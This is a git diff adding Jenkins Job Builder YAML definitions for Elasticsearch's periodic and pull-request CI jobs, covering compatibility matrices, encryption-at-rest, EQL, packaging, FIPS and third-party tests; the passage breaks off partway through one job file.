a/.ci/jobs.t/elastic+elasticsearch+periodic+bwc-trigger.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+bwc-trigger.yml new file mode 100644 index 0000000000000..291ed41a5facf --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+bwc-trigger.yml @@ -0,0 +1,6 @@ +--- +jjbb-template: periodic-trigger-lgc.yml +vars: + - periodic-job: elastic+elasticsearch+%BRANCH%+periodic+bwc + - lgc-job: elastic+elasticsearch+%BRANCH%+intake + - cron: "H H/8 * * *" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+bwc.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+bwc.yml new file mode 100644 index 0000000000000..f4cadb7bad693 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+bwc.yml @@ -0,0 +1,9 @@ +--- +jjbb-template: matrix-gradle-unix.yml +vars: + - job-name: elastic+elasticsearch+%BRANCH%+periodic+bwc + - job-display-name: "elastic / elasticsearch # %BRANCH% - backwards compatibility matrix" + - job-description: "Testing of the Elasticsearch %BRANCH% branch backwards compatibility matrix.\n" + - matrix-yaml-file: ".ci/bwcVersions" + - matrix-variable: BWC_VERSION + - gradle-args: "-Dbwc.checkout.align=true v$BWC_VERSION#bwcTest" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+ear-trigger.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+ear-trigger.yml new file mode 100644 index 0000000000000..a50a1f96358ad --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+ear-trigger.yml @@ -0,0 +1,6 @@ +--- +jjbb-template: periodic-trigger-lgc.yml +vars: + - periodic-job: elastic+elasticsearch+%BRANCH%+periodic+ear + - lgc-job: elastic+elasticsearch+%BRANCH%+intake + - cron: "H H/12 * * *" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+ear.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+ear.yml new file mode 100644 index 0000000000000..0d7ea88c0b60e --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+ear.yml @@ -0,0 +1,36 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+periodic+ear + workspace: /dev/shm/elastic+elasticsearch+%BRANCH%+periodic+ear + display-name: "elastic / elasticsearch # %BRANCH% - encryption at rest" + description: "The Elasticsearch %BRANCH% branch encryption at rest compatibility tests.\n\n" + node: packaging-large + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + JAVA15_HOME=$HOME/.java/openjdk15 + - shell: | + #!/bin/bash + # Configure a dm-crypt volume backed by a file + set -e + dd if=/dev/zero of=dm-crypt.img bs=1 count=0 seek=60GB + dd if=/dev/urandom of=key.secret bs=2k count=1 + LOOP=$(losetup -f) + sudo losetup $LOOP dm-crypt.img + sudo cryptsetup luksFormat -q --key-file key.secret "$LOOP" + sudo cryptsetup open --key-file key.secret "$LOOP" secret --verbose + sudo mkfs.ext2 /dev/mapper/secret + sudo mkdir /mnt/secret + sudo mount /dev/mapper/secret /mnt/secret + sudo chown -R jenkins /mnt/secret + cp -r "$WORKSPACE" /mnt/secret + cd /mnt/secret/$(basename "$WORKSPACE") + touch .output.log + rm -Rf "$WORKSPACE" + ln -s "$PWD" "$WORKSPACE" + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh -Dbwc.checkout.align=true check diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+eql-correctness-trigger.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+eql-correctness-trigger.yml new file mode 100644 index 0000000000000..986c52a137de3 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+eql-correctness-trigger.yml @@ -0,0 +1,6 @@ +--- +jjbb-template: periodic-trigger-lgc.yml +vars: + - periodic-job: elastic+elasticsearch+%BRANCH%+periodic+eql-correctness + - lgc-job: elastic+elasticsearch+%BRANCH%+intake + - cron: "H H/8 * * *" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+eql-correctness.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+eql-correctness.yml new file mode 100644 index 0000000000000..62bd28ce479f6 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+eql-correctness.yml @@ -0,0 +1,23 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+periodic+eql-correctness + workspace: /dev/shm/elastic+elasticsearch+%BRANCH%+periodic+eql-correctness + display-name: "elastic / elasticsearch # %BRANCH% - eql correctness tests" + description: "Testing of Elasticsearch %BRANCH% EQL.\n" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + set +x + VAULT_TOKEN=$(vault write -field=token auth/approle/login role_id=$VAULT_ROLE_ID secret_id=$VAULT_SECRET_ID) + export VAULT_TOKEN + export eql_test_credentials_file="$(pwd)/x-pack/plugin/eql/qa/correctness/credentials.gcs.json" + vault read -field=credentials.gcs.json secret/elasticsearch-ci/eql_test_credentials > ${eql_test_credentials_file} + unset VAULT_TOKEN + set -x + + $WORKSPACE/.ci/scripts/run-gradle.sh :x-pack:plugin:eql:qa:correctness:check diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+java-fips-matrix-trigger.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+java-fips-matrix-trigger.yml new file mode 100644 index 0000000000000..fb2a23855cc9f --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+java-fips-matrix-trigger.yml @@ -0,0 +1,6 @@ +--- +jjbb-template: periodic-trigger-lgc.yml +vars: + - periodic-job: elastic+elasticsearch+%BRANCH%+periodic+java-fips-matrix + - lgc-job: elastic+elasticsearch+%BRANCH%+intake + - cron: "H H/12 * * *" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+java-fips-matrix.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+java-fips-matrix.yml new file mode 100644 index 0000000000000..d4fa229963dcb --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+java-fips-matrix.yml @@ -0,0 +1,9 @@ +--- +jjbb-template: matrix-gradle-unix.yml +vars: + - job-name: elastic+elasticsearch+%BRANCH%+periodic+java-fips-matrix + - job-display-name: "elastic / elasticsearch # %BRANCH% - java fips compatibility matrix" + - job-description: "Testing of the Elasticsearch %BRANCH% branch java FIPS compatibility matrix.\n" + - matrix-yaml-file: ".ci/matrix-runtime-javas.yml" + - matrix-variable: ES_RUNTIME_JAVA + - gradle-args: "-Dbwc.checkout.align=true -Dtests.fips.enabled=true check" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+java-matrix-trigger.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+java-matrix-trigger.yml new file mode 100644 index 0000000000000..8de3326dd819d --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+java-matrix-trigger.yml @@ -0,0 +1,6 @@ +--- +jjbb-template: periodic-trigger-lgc.yml +vars: + - periodic-job: elastic+elasticsearch+%BRANCH%+periodic+java-matrix + - lgc-job: elastic+elasticsearch+%BRANCH%+intake + - cron: "H H/12 * * *" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+java-matrix.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+java-matrix.yml new file mode 100644 index 0000000000000..51f7a7bf20878 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+java-matrix.yml @@ -0,0 +1,9 @@ +--- +jjbb-template: matrix-gradle-unix.yml +vars: + - job-name: elastic+elasticsearch+%BRANCH%+periodic+java-matrix + - job-display-name: "elastic / elasticsearch # %BRANCH% - java compatibility matrix" + - job-description: "Testing of the Elasticsearch %BRANCH% branch java compatibility matrix.\n" + - matrix-yaml-file: ".ci/matrix-runtime-javas.yml" + - matrix-variable: ES_RUNTIME_JAVA + - gradle-args: "-Dbwc.checkout.align=true check" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+packaging-tests-trigger.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+packaging-tests-trigger.yml new file mode 100644 index 0000000000000..d8c8b557e4514 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+packaging-tests-trigger.yml @@ -0,0 +1,6 @@ +--- +jjbb-template: periodic-trigger-lgc.yml +vars: + - periodic-job: elastic+elasticsearch+%BRANCH%+periodic+packaging-tests + - lgc-job: elastic+elasticsearch+%BRANCH%+intake + - cron: "H H/8 * * *" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+packaging-tests.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+packaging-tests.yml new file mode 100644 index 0000000000000..a68641f50a174 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+packaging-tests.yml @@ -0,0 +1,27 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+periodic+packaging-tests + display-name: "elastic / elasticsearch # %BRANCH% - packaging tests" + description: "Testing of the Elasticsearch %BRANCH% branch packaging tests.\n" + project-type: multijob + node: master + vault: [] + scm: + - git: + wipe-workspace: false + builders: + - multijob: + name: Packaging tests + projects: + - name: elastic+elasticsearch+%BRANCH%+multijob+packaging-tests-unix + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+multijob+packaging-tests-windows + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+multijob+packaging-tests-upgrade + kill-phase-on: NEVER + current-parameters: true + git-revision: true diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+platform-support-trigger.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+platform-support-trigger.yml new file mode 100644 index 0000000000000..fa99104641db0 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+platform-support-trigger.yml @@ -0,0 +1,6 @@ +--- +jjbb-template: periodic-trigger-lgc.yml +vars: + - periodic-job: elastic+elasticsearch+%BRANCH%+periodic+platform-support + - lgc-job: elastic+elasticsearch+%BRANCH%+intake + - cron: "H H/12 * * *" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+platform-support.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+platform-support.yml new file mode 100644 index 0000000000000..389c0f82849e4 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+platform-support.yml @@ -0,0 +1,31 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+periodic+platform-support + display-name: "elastic / elasticsearch # %BRANCH% - platform support" + description: "Testing of the Elasticsearch %BRANCH% branch platform support tests.\n" + project-type: multijob + node: master + vault: [] + scm: + - git: + wipe-workspace: false + builders: + - multijob: + name: Packaging tests + projects: + - name: elastic+elasticsearch+%BRANCH%+multijob+platform-support-darwin + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+multijob+platform-support-unix + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+multijob+platform-support-windows + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+multijob+platform-support-arm + kill-phase-on: NEVER + current-parameters: true + git-revision: true diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+release-tests-trigger.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+release-tests-trigger.yml new file mode 100644 index 0000000000000..c624c929b3dd6 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+release-tests-trigger.yml @@ -0,0 +1,6 @@ +--- +jjbb-template: periodic-trigger-lgc.yml +vars: + - periodic-job: elastic+elasticsearch+%BRANCH%+periodic+release-tests + - lgc-job: elastic+elasticsearch+%BRANCH%+intake + - cron: "H H/12 * * *" diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+release-tests.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+release-tests.yml new file mode 100644 index 0000000000000..1654adc388506 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+release-tests.yml @@ -0,0 +1,18 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+periodic+release-tests + workspace: /dev/shm/elastic+elasticsearch+%BRANCH%+periodic+release-tests + display-name: "elastic / elasticsearch # %BRANCH% - release tests" + description: "Release version tests for the Elasticsearch %BRANCH% branch.\n" + node: "general-purpose && docker" + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + JAVA15_HOME=$HOME/.java/openjdk15 + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh -Dbwc.checkout.align=true -Dbuild.snapshot=false \ + -Dtests.jvm.argline=-Dbuild.snapshot=false -Dlicense.key=${WORKSPACE}/x-pack/license-tools/src/test/resources/public.key build diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+third-party-tests.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+third-party-tests.yml new file mode 100644 index 0000000000000..1a52922767156 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+third-party-tests.yml @@ -0,0 +1,35 @@ +--- +- job: + name: elastic+elasticsearch+%BRANCH%+periodic+third-party-tests + display-name: "elastic / elasticsearch # %BRANCH% - third party tests" + description: "Testing of the Elasticsearch %BRANCH% branch against third-party service integrations.\n" + project-type: multijob + node: master + vault: [] + scm: + - git: + wipe-workspace: false + builders: + - multijob: + name: Third party repository compatibility tests + projects: + - name: elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-azure + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-azure-sas + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-gcs + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-s3 + kill-phase-on: NEVER + current-parameters: true + git-revision: true + - name: elastic+elasticsearch+%BRANCH%+multijob+third-party-tests-geoip + kill-phase-on: NEVER + current-parameters: true + git-revision: true diff --git a/.ci/jobs.t/elastic+elasticsearch+periodic+thrid-party-tests-trigger.yml b/.ci/jobs.t/elastic+elasticsearch+periodic+thrid-party-tests-trigger.yml new file mode 100644 index 0000000000000..61b249d2903e5 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+periodic+thrid-party-tests-trigger.yml @@ -0,0 +1,6 @@ +--- +jjbb-template: periodic-trigger-lgc.yml +vars: + - periodic-job: elastic+elasticsearch+%BRANCH%+periodic+third-party-tests + - lgc-job: elastic+elasticsearch+%BRANCH%+intake + - cron: "H H * * *" diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+bwc.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+bwc.yml new file mode 100644 index 0000000000000..b3c1281e46d93 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+bwc.yml @@ -0,0 +1,5 @@ +--- +jjbb-template: pull-request-gradle-unix.yml +vars: + - pr-job: "bwc" + - gradle-args: "-Dignore.tests.seed bwcTestSnapshots" diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+docs-check.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+docs-check.yml new file mode 100644 index 0000000000000..d980ae7b1d71f --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+docs-check.yml @@ -0,0 +1,35 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+pull-request/elastic+elasticsearch+%BRANCH%+pull-request+docs-check" + display-name: "elastic / elasticsearch # %BRANCH% - pull request docs-check" + description: "Testing of Elasticsearch pull requests - docs-check" + workspace: "/dev/shm/elastic+elasticsearch+%BRANCH%+pull-request+docs-check" + scm: + - git: + refspec: "+refs/pull/${ghprbPullId}/*:refs/remotes/origin/pr/${ghprbPullId}/*" + branches: + - "${ghprbActualCommit}" + triggers: + - github-pull-request: + org-list: + - elastic + allow-whitelist-orgs-as-admins: true + trigger-phrase: '.*run\W+elasticsearch-ci/docs-check.*' + github-hooks: true + status-context: elasticsearch-ci/docs-check + cancel-builds-on-update: true + white-list-target-branches: + - %BRANCH% + included-regions: + - ^docs/.* + black-list-labels: + - '>test-mute' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh -Dignore.tests.seed :docs:check diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+eql-correctness.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+eql-correctness.yml new file mode 100644 index 0000000000000..2e146e1729e48 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+eql-correctness.yml @@ -0,0 +1,43 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+pull-request/elastic+elasticsearch+%BRANCH%+pull-request+eql-correctness" + display-name: "elastic / elasticsearch # %BRANCH% - pull request eql-correctness" + description: "Testing of Elasticsearch pull requests - eql-correctness" + workspace: "/dev/shm/elastic+elasticsearch+%BRANCH%+pull-request+eql-correctness" + scm: + - git: + refspec: "+refs/pull/${ghprbPullId}/*:refs/remotes/origin/pr/${ghprbPullId}/*" + branches: + - "${ghprbActualCommit}" + triggers: + - github-pull-request: + org-list: + - elastic + allow-whitelist-orgs-as-admins: true + trigger-phrase: '.*run\W+elasticsearch-ci/eql-correctness.*' + github-hooks: true + status-context: elasticsearch-ci/eql-correctness + cancel-builds-on-update: true + white-list-target-branches: + - %BRANCH% + excluded-regions: + - ^docs/.* + black-list-labels: + - '>test-mute' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + set +x + VAULT_TOKEN=$(vault write -field=token auth/approle/login role_id=$VAULT_ROLE_ID secret_id=$VAULT_SECRET_ID) + export VAULT_TOKEN + export eql_test_credentials_file="$(pwd)/x-pack/plugin/eql/qa/correctness/credentials.gcs.json" + vault read -field=credentials.gcs.json secret/elasticsearch-ci/eql_test_credentials > ${eql_test_credentials_file} + unset VAULT_TOKEN + set -x + + $WORKSPACE/.ci/scripts/run-gradle.sh -Dignore.tests.seed :x-pack:plugin:eql:qa:correctness:check diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-unix-sample.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-unix-sample.yml new file mode 100644 index 0000000000000..f02872e6ee96f --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-unix-sample.yml @@ -0,0 +1,51 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+pull-request/elastic+elasticsearch+%BRANCH%+pull-request+packaging-tests-unix-sample" + display-name: "elastic / elasticsearch # %BRANCH% - pull request packaging-tests-unix-sample" + description: "Testing of Elasticsearch pull requests - packaging-tests-unix-sample" + project-type: matrix + node: master + scm: + - git: + refspec: "+refs/pull/${ghprbPullId}/*:refs/remotes/origin/pr/${ghprbPullId}/*" + branches: + - "${ghprbActualCommit}" + triggers: + - github-pull-request: + org-list: + - elastic + allow-whitelist-orgs-as-admins: true + trigger-phrase: '.*run\W+elasticsearch-ci/packaging-tests-unix-sample.*' + github-hooks: true + status-context: elasticsearch-ci/packaging-tests-unix-sample + cancel-builds-on-update: + white-list-target-branches: + - %BRANCH% + excluded-regions: + - ^docs/.* + black-list-labels: + - '>test-mute' + - ':Delivery/Packaging' + axes: + - axis: + type: label-expression + name: os + values: + - centos-8-packaging + - ubuntu-20.04-packaging + - axis: + type: user-defined + name: PACKAGING_TASK + values: + - 'destructiveDistroTest.docker' + - 'destructiveDistroTest.packages' + - 'destructiveDistroTest.archives' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + ./.ci/os.sh --build-cache -Dorg.elasticsearch.build.cache.url=https://gradle-enterprise.elastic.co/cache/ $PACKAGING_TASK diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-unix.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-unix.yml new file mode 100644 index 0000000000000..2bdc844012dbe --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-unix.yml @@ -0,0 +1,62 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+pull-request/elastic+elasticsearch+%BRANCH%+pull-request+packaging-tests-unix" + display-name: "elastic / elasticsearch # %BRANCH% - pull request packaging-tests-unix" + description: "Testing of Elasticsearch pull requests - packaging-tests-unix" + project-type: matrix + node: master + scm: + - git: + refspec: "+refs/pull/${ghprbPullId}/*:refs/remotes/origin/pr/${ghprbPullId}/*" + branches: + - "${ghprbActualCommit}" + triggers: + - github-pull-request: + org-list: + - elastic + allow-whitelist-orgs-as-admins: true + trigger-phrase: '.*run\W+elasticsearch-ci/packaging-tests-unix.*' + github-hooks: true + status-context: elasticsearch-ci/packaging-tests-unix + cancel-builds-on-update: true + white-list-target-branches: + - %BRANCH% + excluded-regions: + - ^docs/.* + white-list-labels: + - ':Delivery/Packaging' + black-list-labels: + - '>test-mute' + axes: + - axis: + type: label-expression + name: os + values: + - centos-7-packaging + - centos-8-packaging + - debian-9-packaging + - debian-10-packaging + - fedora-32-packaging + - opensuse-15-1-packaging + - oraclelinux-7-packaging + - oraclelinux-8-packaging + - sles-12-packaging + - sles-15-packaging + - ubuntu-18.04-packaging + - ubuntu-20.04-packaging + - axis: + type: user-defined + name: PACKAGING_TASK + values: + - 'destructiveDistroTest.docker' + - 'destructiveDistroTest.packages' + - 'destructiveDistroTest.archives' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + ./.ci/os.sh --build-cache -Dorg.elasticsearch.build.cache.url=https://gradle-enterprise.elastic.co/cache/ $PACKAGING_TASK diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-windows-sample.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-windows-sample.yml new file mode 100644 index 0000000000000..bca4813a6aa74 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-windows-sample.yml @@ -0,0 +1,55 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+pull-request/elastic+elasticsearch+%BRANCH%+pull-request+packaging-tests-windows-sample" + display-name: "elastic / elasticsearch # %BRANCH% - pull request packaging-tests-windows-sample" + description: "Testing of Elasticsearch pull requests - packaging-tests-windows-sample" + # We use a hard-coded workspace directory here to avoid hitting windows path length limits + child-workspace: "C:\\Users\\jenkins\\workspace\\pr-packaging-windows\\${BUILD_NUMBER}" + project-type: matrix + node: master + scm: + - git: + refspec: "+refs/pull/${ghprbPullId}/*:refs/remotes/origin/pr/${ghprbPullId}/*" + branches: + - "${ghprbActualCommit}" + triggers: + - github-pull-request: + org-list: + - elastic + allow-whitelist-orgs-as-admins: true + trigger-phrase: '.*run\W+elasticsearch-ci/packaging-tests-windows-sample.*' + github-hooks: true + status-context: elasticsearch-ci/packaging-tests-windows-sample + cancel-builds-on-update: true + white-list-target-branches: + - %BRANCH% + excluded-regions: + - ^docs/.* + black-list-labels: + - '>test-mute' + - ':Delivery/Packaging' + axes: + - axis: + type: label-expression + name: os + values: + - "windows-2019" + - axis: + type: user-defined + name: PACKAGING_TASK + values: + - 'default-windows-archive' + - 'default-windows-archive-no-jdk' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$USERPROFILE\\.java\\$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$USERPROFILE\\.java\\$ES_RUNTIME_JAVA + - batch: | + del /f /s /q %USERPROFILE%\.gradle\init.d\*.* + mkdir %USERPROFILE%\.gradle\init.d + copy .ci\init.gradle %USERPROFILE%\.gradle\init.d\ + ( + echo powershell.exe .\.ci\os.ps1 -GradleTasks destructiveDistroTest.%PACKAGING_TASK% ^|^| exit /b 1 + ) | java -jar "C:\Program Files\infra\bin\runbld" --redirect-stderr - diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-windows.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-windows.yml new file mode 100644 index 0000000000000..c2e14332ddd14 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+packaging-tests-windows.yml @@ -0,0 +1,58 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+pull-request/elastic+elasticsearch+%BRANCH%+pull-request+packaging-tests-windows" + display-name: "elastic / elasticsearch # %BRANCH% - pull request packaging-tests-windows" + description: "Testing of Elasticsearch pull requests - packaging-tests-windows" + # We use a hard-coded workspace directory here to avoid hitting windows path length limits + child-workspace: "C:\\Users\\jenkins\\workspace\\pr-packaging-windows\\${BUILD_NUMBER}" + project-type: matrix + node: master + scm: + - git: + refspec: "+refs/pull/${ghprbPullId}/*:refs/remotes/origin/pr/${ghprbPullId}/*" + branches: + - "${ghprbActualCommit}" + triggers: + - github-pull-request: + org-list: + - elastic + allow-whitelist-orgs-as-admins: true + trigger-phrase: '.*run\W+elasticsearch-ci/packaging-tests-windows.*' + github-hooks: true + status-context: elasticsearch-ci/packaging-tests-windows + cancel-builds-on-update: true + white-list-target-branches: + - %BRANCH% + excluded-regions: + - ^docs/.* + white-list-labels: + - ':Delivery/Packaging' + black-list-labels: + - '>test-mute' + axes: + - axis: + type: label-expression + name: os + values: + - "windows-2012-r2" + - "windows-2016" + - "windows-2019" + - axis: + type: user-defined + name: PACKAGING_TASK + values: + - 'default-windows-archive' + - 'default-windows-archive-no-jdk' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$USERPROFILE\\.java\\$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$USERPROFILE\\.java\\$ES_RUNTIME_JAVA + - batch: | + del /f /s /q %USERPROFILE%\.gradle\init.d\*.* + mkdir %USERPROFILE%\.gradle\init.d + copy .ci\init.gradle %USERPROFILE%\.gradle\init.d\ + ( + echo powershell.exe .\.ci\os.ps1 -GradleTasks destructiveDistroTest.%PACKAGING_TASK% ^|^| exit /b 1 + ) | java -jar "C:\Program Files\infra\bin\runbld" --redirect-stderr - diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+part-1-fips.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+part-1-fips.yml new file mode 100644 index 0000000000000..55c3bfe3b6131 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+part-1-fips.yml @@ -0,0 +1,37 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+pull-request/elastic+elasticsearch+%BRANCH%+pull-request+part-1-fips" + display-name: "elastic / elasticsearch # %BRANCH% - pull request part-1 fips" + description: "Testing of Elasticsearch pull requests - part-1 fips" + workspace: "/dev/shm/elastic+elasticsearch+%BRANCH%+pull-request+part-1-fips" + scm: + - git: + refspec: "+refs/pull/${ghprbPullId}/*:refs/remotes/origin/pr/${ghprbPullId}/*" + branches: + - "${ghprbActualCommit}" + triggers: + - github-pull-request: + org-list: + - elastic + allow-whitelist-orgs-as-admins: true + trigger-phrase: '.*run\W+elasticsearch-ci/part-1-fips.*' + github-hooks: true + status-context: elasticsearch-ci/part-1-fips + cancel-builds-on-update: true + white-list-target-branches: + - %BRANCH% + excluded-regions: + - ^docs/.* + white-list-labels: + - ':Security/FIPS' + black-list-labels: + - '>test-mute' + builders: + - inject: + properties-file: '.ci/java-versions.properties' + properties-content: | + JAVA_HOME=$HOME/.java/$ES_BUILD_JAVA + RUNTIME_JAVA_HOME=$HOME/.java/$ES_RUNTIME_JAVA + - shell: | + #!/usr/local/bin/runbld --redirect-stderr + $WORKSPACE/.ci/scripts/run-gradle.sh -Dignore.tests.seed checkPart1 diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+part-1.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+part-1.yml new file mode 100644 index 0000000000000..8d4f4fbe31678 --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+part-1.yml @@ -0,0 +1,5 @@ +--- +jjbb-template: pull-request-gradle-unix.yml +vars: + - pr-job: "part-1" + - gradle-args: "-Dignore.tests.seed checkPart1" diff --git a/.ci/jobs.t/elastic+elasticsearch+pull-request+part-2-fips.yml b/.ci/jobs.t/elastic+elasticsearch+pull-request+part-2-fips.yml new file mode 100644 index 0000000000000..b01e72ae8315f --- /dev/null +++ b/.ci/jobs.t/elastic+elasticsearch+pull-request+part-2-fips.yml @@ -0,0 +1,37 @@ +--- +- job: + name: "elastic+elasticsearch+%BRANCH%+pull-request/elastic+elasticsearch+%BRANCH%+pull-request+part-2-fips" + display-name: "elastic / elasticsearch # 